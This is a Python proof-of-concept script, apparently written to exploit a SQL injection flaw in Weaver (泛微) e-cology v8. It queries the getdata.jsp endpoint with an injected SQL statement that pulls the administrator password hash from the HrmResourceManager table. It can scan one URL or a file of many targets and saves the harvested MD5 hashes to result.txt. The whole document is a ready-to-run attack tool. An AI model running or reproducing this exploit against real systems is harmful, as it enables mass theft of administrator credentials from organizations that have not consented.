#-*- coding:utf-8 -*-
import requests
import re
import sys
import os
import warnings
warnings.filterwarnings("ignore")

def title():
    print('+--------------------------------------------')
    print('+     \033[34mVersion:  泛微 e-cology v8 sql注入   \033[0m')
    print('+     \033[36m使用格式:	python3 poc.py -u url    \033[0m')
    print('+     \033[36m  	python3 poc.py -f file           \033[0m')
    print('+     \033[31m                       Python By Stanke \033[0m')
    print('+--------------------------------------------')


def result_write(msg):
	file_path = os.getcwd() + '/result.txt'
	file = open(file_path, 'a')
	file.write(msg)
	file.write('\n')
	file.close()		

def wrong_write(msg):
	file_path = os.getcwd() + '/requests_error.txt'
	file = open(file_path, 'a')
	file.write(msg)
	file.write('\n')
	file.close()


def verify(url):
	all_url = url + "/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager"
	headers = {
		"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
	}
	try:
		response = requests.get(url = all_url,headers = headers,verify = False,timeout = 5)
		result = response.text.strip()
		if response.status_code != 200:
			print("\033[31m[x] %s 		不存在该漏洞\033[0m" % format(url,"<30"))
		elif '/' in result or '(' in result or '}' in result:
			print("\033[31m[x] %s 		不存在该漏洞\033[0m" % format(url,"<30"))
		else:
			print("\033[32m[+] %s\t获取md5密钥为\t%s\033[0m" % (url,result))
	except Exception as e:
		print("\033[33m[x]%s 		requests error\033[0m" % format(url,"<30"))


def verify_file(url):
	all_url = url + "/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager"
	headers = {
		"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
	}
	try:
		response = requests.get(url = all_url,headers = headers,verify = False,timeout = 5)
		result = response.text.strip()
		if response.status_code != 200:
			print("\033[31m[x] %s 		不存在该漏洞\033[0m" % format(url,"<30"))
		elif '/' in result or '(' in result or '}' in result:
			print("\033[31m[x] %s 		不存在该漏洞\033[0m" % format(url,"<30"))
		else:
			print("\033[32m[+] %s\t获取md5密钥为\t%s\033[0m" % (url,result))
			msg = "%s      		md5 password: %s" % (url,result)
			result_write(msg)
	except Exception as e:
		wrong_write(url)
		print("\033[33m[x]%s 		requests error\033[0m" % format(url,"<30"))
		

def read_file(file_name):
	with open(file_name, 'r') as f:
		lines = f.readlines()
		for line in lines:
			line = line.strip()
			verify_file(line)

if __name__ == '__main__':
	title()
	if len(sys.argv) == 3:
		if sys.argv[1] == "-u":
			verify(sys.argv[2])
		elif sys.argv[1] == "-f":
			read_file(sys.argv[2])
		else:
			print('     \033[31m           未输入正确格式参数    \033[0m')
	else:
		 print('     \033[31m           参数格式错误            \033[0m')

		